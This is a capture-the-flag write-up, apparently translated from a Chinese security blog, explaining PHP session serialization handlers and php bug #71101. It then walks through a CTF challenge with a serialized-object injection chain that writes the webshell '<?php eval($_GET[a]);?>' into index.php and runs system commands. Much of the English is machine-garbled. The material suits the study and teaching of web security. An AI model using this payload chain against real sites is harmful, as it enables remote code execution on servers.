Understanding PHP Session Deserialization Vulnerabilities

SummaryUnderstanding PHP Session Deserialization Vulnerabilities 0x01 Preface A recent Dianfeng Geek CTF included a session-deserialization challenge. I used it to organize PHP session deserialization's history and mechanics. 0x02 What Is a PHP Session? Before discussing PHP sessions, first understand sessions themselves…

Serialization Vulnerability

Understanding PHP Session Deserialization Vulnerabilities

0x01 Preface

A recent Dianfeng Geek CTF included a session-deserialization challenge. I used it as an opportunity to organize the history and mechanics of PHP session deserialization. Corrections are welcome.

0x02 What Is a PHP Session?

Discussing PHP session, first understand whatsession. What exactly issession?

Sessionis commonly called session control: a safer conversation between client and site/server. Once session session can be used or maintained on any page, creating a conversation between visitor and site. Session implementations vary by language; this article coversPHP sessionmechanism.

PHP session is a special variable that stores user-session information or changes session settings. Note thatPHP Session stores information for one user and is available to every application page. Its concrete session values are stored server-side, the main difference from cookie main difference, soseesion has relatively stronger security.

0x03 PHP Session Workflow

The session flow is simple. When a session starts, PHP looks for a session ID in the request, usually via the session cookie). If the requestedCookiesGetPosdoes not exist in tsession id, PHP automatically callsphp_session_create_idcreates a new session and inhttp responsethroughset-cookieheader to the client for storage:

Image description

Browser settings sometimes disable cookie, when the clientcookieis disabled, PHP can still automatically addsession idto URL parameters andformofhidden field, but this requiresphp.iniinsession.use_trans_sidto On or call at runtimeini_setto configure it.

After the session begins, PHP places its data in $_SESSION variable. The following code registers a variable in $_SESSION variable:

PHP
<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'xianzhi' ;
}
?>

When PHP stops, it automatically reads $_SESSION contents and appliesSerialization, then sends it to the session-save handler.

By default, PHP uses its built-in file session-save handler forsessionsaving can also be configured through session.save_handler changes the chosen session-save handler. The file handler stores session data at the location configured bysession.save_pathconfigured location.

That is the overall flow; the following diagram is another reference:

Image description

0x04 PHP Session Configuration in php.ini

PHP sessioninphp.inicontains these main settings:

  • session.gc_divisor

    PHP session garbage-collection settings

  • session.sid_bits_per_character

    Bits per character in the encoded session ID.

  • session.save_path=""

    This setting primarily configuressessionstorage path

  • session.save_handler=""

    Configures a user-defined storage function. To use PHP's built-insessioncan use this function instead of the built-in storage

  • session.use_strict_mode

    Strict session mode rejects uninitialized session IDs and regenerates them.

  • session.use_cookies

    Whether the client stores the session ID in a cookie. Enabled by default.

  • session.cookie_secure

    Whether to send only over secure connections. cookie; disabled by default

  • session.use_only_cookies

    Whether the clientonlyUsecookieto store session IDs, preventing attacks involving IDs passed in URLs

  • session.name

    Session name used for cookie name, alphanumeric only. Default PHPSESSID

  • session.auto_start

    Whether the session module starts a session at request startup. Default 0 (disabled).

  • session.cookie_lifetime

    Cookie lifetime in seconds. 0 means until the browser closes. Default 0

  • session.cookie_path

    Specifies the session cookie path. Default /

  • session.cookie_domain

    Specifies the session cookie cookie domain. Default none, derived from cookie format producedcookiehostname

  • session.cookie_httponly

    Marks cookies as HTTP-only, preventing script access such as JavaScript and reducing identity theft through XSS.

  • session.serialize_handler

    Handler used for serialization/deserialization. Defaultphp. Other engines exist, and each stores sessions differently as described below.

  • session.gc_probability

    This setting and session.gc_divisor Together manage garbage collection, the probability that garbage collection starts

  • session.gc_divisor

    This setting andsession.gc_probabilityTogether define the probability of starting garbage collection during each session initialization.

  • session.gc_maxlifetime

    Seconds before data is considered garbage and removed. Collection may begin atsessionstartup, depending onsession.gc_probability and session.gc_divisor

  • session.referer_check

    contains checks for each HTTP Referer substring. If the client sendsRefererinformation but the substring is absent, the embedded session ID is marked invalid. Default: empty string.

  • session.cache_limiter

    Buffer-control method for session pages (none/nocache/private/private_no_expire/public). The default is nocache

  • session.cache_expire

    Lifetime in minutes for buffered session pages. This setting is ignored undernocachebuffer control. Default 180.

  • session.use_trans_sid

    Whether transparent SID support is enabled. Disabled by default.

  • session.sid_length

    Session ID string length, 22–256. Default 32.

  • session.trans_sid_tags

    HTML tags whose URLs are rewritten to include a session ID under transparent SID support.

  • session.trans_sid_hosts

    Hosts whose URLs are rewritten to include the session ID when transparent SID support is enabled.

  • session.sid_bits_per_character

    Bits per character in the encoded session ID.

  • session.upload_progress.enabled

    Enable upload-progress tracking and populate$ _SESSIONvariable. Enabled by default.

  • session.upload_progress.cleanup

    Immediately clear progress data after all POST data has been read (upload complete). Enabled by default.

  • session.upload_progress.prefix

    configuration$ _SESSIONupload-progress key prefix; default upload_progress_

  • session.upload_progress.name

    $ _SESSIONkey used to store progress information; defaultPHP_SESSION_UPLOAD_PROGRESS

  • session.upload_progress.freq

    How often upload-progress information is updated.

  • session.upload_progress.min_freq

    Minimum delay between updates.

  • session.lazy_write

    Whether session data is rewritten when changed. Enabled by default.

These settings affect session hijacking, XSS, CSRF, and other security topics outside this article. Here we focus onsession.serialize_handler setting

0x05 PHP Session Storage

The previous section mentioned PHP sessionstorage is controlled bysession.serialize_handler defines the engine. File storage is the default, with filenames determined bysess_sessioniddetermines the filename, although it can change; for exampleCodeigniterframework's sessionstored filename isci_sessionSESSIONID, as shown below:

Image description

The file always contains the serialized session value:

Image description

session.serialize_handler defines three engines:

Handler name Storage format
php key name + vertical bar + value serialized byserialize()value serialized by the function
php_binary ASCII character for key-name length + key name + value serialized byserialize()value serialized by the function
php_serialize serialized by serialize()array

Note: available since PHP 5.5.4 php_serialize

Of the three handlers above,php_serialize internally uses directly serialize/unserialize function, withoutphpand php_binary limitations. Using the older serialization handler causes $_SESSION index cannot be numeric or contain special characters (| and !) 。

Now compare results serialized by the three handlers.

php handler

First examinesession.serialize_handlerequals phpserialized result; demo:

PHP
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
Image description

The serialized result is:session|s:7:"xianzhi";

session to$_SESSION['session']key name;|is the serialized GET parameter value

php_binary handler

Now examinesession.serialize_handlerequals php_binaryserialized result.

Demo:

PHP
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

To make format differences obvious, use a key length of 35; its ASCII code is#, producing the result below:

Image description

The serialized result is:#sessionsessionsessionsessionsessions:7:"xianzhi";

#is the ASCII value corresponding to key-name length;sessionsessionsessionsessionsessionsas the key name;s:7:"xianzhi";is the serialized GET value

php_serialize handler

Finally,session.serialize_handlerequals php_serializeserialized result; similarly, demo:

PHP
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
Image description

The serialized result is:a:1:{s:7:"session";s:7:"xianzhi";}

a:1represents$_SESSIONarray contains one element; the braces contain the serialized GET value.

0x06 php bug #71101

This bug was reported by WooYun white-hatryatresearcher on2015-12-12on PHP's official site. The payload was:

HTML
<form action = upload.phpmethod = POSTenctype = multipart / form-data”>
	<input type = hiddenname = PHP_SESSION_UPLOAD_PROGRESSvalue = ryat” />
	<input type = filename = file” />
	<input type = submit” />
</ form>

Then$_SESSIONkey's value becomes$_SESSION["upload_progress_ryat"]. During session upload, session data is serialized/deserialized using the format selected byphp.iniinsession.serialize_handleroption. Thus, if a different value is set in the scriptserialize_handler, arbitrary injection can occur intosessiondata.

The explanation above may seem convoluted. Simply put,phphandler andphp_serializehandlers each produce valid formats, but mixing them creates danger.

arises when usingsession.serialize_handler = php_serializestored characters can introduce |, then usingsession.serialize_handler = phpformat extracts$_SESSIONvalue, |is treated as the key/value separator and can create deserialization vulnerabilities in specific contexts.

Consider a simple example.

Define asession.phpfile, used to pass sessionvalue; file contents:

PHP
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

First examinesessioninitial contents:

a:1:{s:7:"session";s:5:"hello";}

Image description

has anotherclass.php file with the following content:

PHP
<?php
	error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
	class XianZhi{
    public $name = 'panda';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $str = new XianZhi();
 ?>

Visiting the page shows:

Image description

After instantiation, outputspanda

The purpose of both files is clear:session.phpfile's handler isphp_serializeclass.phpfile's handler isphpsession.phpfile receives controllable session value;class.phpfile outputs before deserializationWho are you?; when deserialization ends, outputnamevalue.

To exploit these two files for php bug #71101; we need to place it insession.phpfile receives|+Serializationformat value, then revisitclass.phpfile is processed, it callssessionvalue triggers this bug.

First generate the serialized string with this payload:

PHP
<?php

class XianZhi{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
}
	$str = new XianZhi();
	$str->name = "xianzhi";
	echo serialize($str);
  ?>
Image description

payload:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

Then passsession.php

Image description

At this point, sessionIts contents are:

Image description

a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}

Visit againclass.phpfile, we find that it has triggered php bug #71101, as shown below:

Image description

This is only a simple assignment/retrieval example and does not address controlling session value. The following 2019 Dianfeng Geek lolThisphp sessiondeserialization challenge as the case study.

0x07 PHP Session Deserialization Case Study

Our team saved the challenge source during the competition. Some pages may be incomplete, but solving is unaffected. Structure:

TEXT
├── app
│   ├── controller
│   │   ├── Files.class.php
│   │   └── IndexController.class.php
│   ├── model
│   │   └── Download.class.php
│   └── view
│       └── Cache.class.php
├── core
│   ├── config.php
│   ├── core.php
│   └── func.php
├── index.php
├── upload
│   └── e9ovitochivkoamlodj6vu9g7g
└── user

inconfig.phpfile contains a prominent note:

PHP
<?php
$config=array(
    'debug'=>'false',
    'ini'=>array(
        'session.name' => 'PHPSESSID',
        'session.serialize_handler' => 'php'
    )
);

Yes, it is the previously mentionedsession.serialize_handler. Now locate wheresession. Searching finds it in/core/core.phpfile shows:

PHP
<?php

if(!defined('Core_DIR')){
    exit();
}

include(Core_DIR.DS.'config.php');
include(Core_DIR.DS.'func.php');

_if_debug($config['debug']);
spl_autoload_register('autoload_class');
config($config['ini']);


session_start();
define('Upload_DIR',Image_DIR.DS.session_id());
init();

$app = new IndexController();

if(method_exists($app, $app->data['method'])){
    $app->{$app->data['method']}($app->data['param']);
}else{
    $app->index();
}

#$this->method($_POST)

primarily

PHP
config($config['ini']);
session_start();

These lines read session values. For a PHP session-deserialization challenge, the first step is to find a controllablesessionlocation. Searching reveals it inapp/model/Cache.class.phpfile, whose contents are:

TEXT
<?php
class Cache{
    public $data;
    public $sj;
    public $path;
    public $html;
    function __construct($data){
        $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
        $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
        $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
        $this->path=Cache_DIR.DS.session_id().'.php';
    }

    function __destruct(){
        $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>	</head>	<body class="is-preload"><div id="wrapper"><header id="header">	<div class="logo"><span class="icon fa-diamond"></span>	</div>	<div class="content"><div class="inner">	<h1>Hero of you</h1></div>	</div>	<nav><ul>	<li><a href="#you">YOU</a></li></ul>	</nav></header><div id="main"><article id="you">	<h2 class="major" ng-app>%s</h2>	<span class="image main"><img src="%s" alt="" /></span>	<p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>	</body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');

        if(file_put_contents($this->path,$this->html)){
            include($this->path);
        }
    }
}

In the cache class,nameandmessagevalue is received through POST and passed into pathpage. The situation is now clear: we controlnameandmessagea variable's value, then choose apath, finally in the chosenpathpage generate the desired content. Payload:

PHP
<?php

class Cache{
    public $data ;
    public $sj;
    public $path = '/Library/WebServer/Documents/ctf/index.php';
    public $html;

}
	$str = new Cache();
	$str->data= [
    "name" => "payload",
    "message" => "panda",
    "image" => "panda"
];
    echo serialize($str);

?>

The generated serialized value is:

PHP
O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:7:"payload";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}

Then take name inpayloadvalue to<?php eval($_GET[1]);?>, as follows:

PHP
O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:23:"<?php eval($_GET[a]);?>";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}

Then use the earlierPHP BUG #71101, establishup.htmlpage, whose contents are:

HTML
<form action="http://10.37.14.49/ctf/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="panda" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

Capture the request and modifyvaluevalue, as shown below:

Image description

After the request,sessionis immediately emptied and overwritten

Image description

Requests must be sent repeatedly. A script would work, but I took the shortcut of using Burp:

Image description

Then index.php changes to:

Image description

directly intoindex.phppage sends?a=system('cat /Library/WebServer/Documents/ctf/flag');request to obtain the flag.

Image description

0x08 Summary

Through this analysis of PHP sessionanalysis. I hope it provides a clearer understanding; questions and feedback are welcome.

0x09 References

https://blog.csdn.net/m0_37421065/article/details/78930935

https://www.php.net/manual/zh/session.configuration.php

https://bugs.php.net/bug.php?id=71101

https://blog.spoock.com/2016/10/16/php-serialize-problem/

https://www.ctolib.com/topics-81497.html

Attachment:https://xzfile.aliyuncs.com/upload/affix/20191026143810-2d53db1e-f7bb-1.zip

Note: first published on Xianzhi Community. Original:https://xz.aliyun.com/t/6640